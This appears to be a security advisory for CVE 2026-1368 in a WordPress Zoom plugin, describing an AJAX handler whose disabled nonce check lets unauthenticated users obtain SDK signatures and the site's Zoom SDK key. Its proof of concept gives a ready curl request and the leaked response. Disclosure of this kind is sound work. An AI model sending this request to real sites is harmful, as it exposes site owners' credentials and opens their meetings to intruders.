Video Conferencing with Zoom API < 4.6.6 – Unauthenticated SDK Signature Generation | CVE 2026-1368

Description

The plugin contains an AJAX handler that has its nonce verification commented out, allowing unauthenticated attackers to generate valid Zoom SDK signatures for any meeting ID and retrieve the site's Zoom SDK key.

Proof of Concept

1. Configure Zoom SDK key and secret in plugin settings
2. Log out from WordPress
3. Send unauthenticated AJAX request with any meeting ID
4. Observe that valid SDK signature and key are returned

```
curl -s -X POST "http://example.com/wp-admin/admin-ajax.php" \
  -d "action=get_auth&meeting_id=123456789"
```

Expected Response (when SDK configured):

{
  "success": true,
  "data": {
    "sig": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
    "key": "YOUR_SDK_KEY_EXPOSED",
    "type": "sdk"
  }
}

Impact:

Attackers can generate valid Zoom SDK signatures for ANY meeting ID